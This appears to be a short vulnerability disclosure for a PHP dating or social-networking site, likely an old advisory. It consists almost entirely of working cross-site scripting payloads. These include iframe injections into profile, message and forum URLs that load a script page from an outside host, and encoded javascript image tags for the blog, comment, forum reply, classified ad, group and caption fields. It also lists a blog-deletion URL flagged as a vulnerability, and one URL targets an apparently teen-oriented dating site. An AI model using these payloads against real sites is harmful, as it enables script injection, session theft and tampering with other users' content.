Viewing a profile: http://www.example.com/index.php?mode=people_card&p_id=289">">'>'>'>">"><"">">">">">"><iframe%20src=http://ha.ckers.org/scriptlet.html%20<<"<"<"<'<'<"<" Composing a Msg: http://www.example.com/index.php?mode=messages&act=compose&rec_id=285">">'>'>'>">"><"">">">">">"><iframe%20src=http://ha.ckers.org/scriptlet.html%20<<"<"<"<'<'<"<" Viewing a forum: http://www.teendating.tv/index.php?mode=forums&act=viewcat&seid=28">">'>'>'>">"><"">">">">">"><iframe%20src=http://ha.ckers.org/scriptlet.html%20<<"<"<"<'<'< XSS vuln when posting a blog. in the description input boxes: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Deleting a blog vulnerability: http://www.example.com/index.php?mode=blogs&act=remblog&seid=14&page=1 Sending a comment XSS vuln. In the comment box <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Posting a forum reply. In the reply box: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Posting a classified add: in the classified add description box: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Creating a group: in the create group box: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Caption input box: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>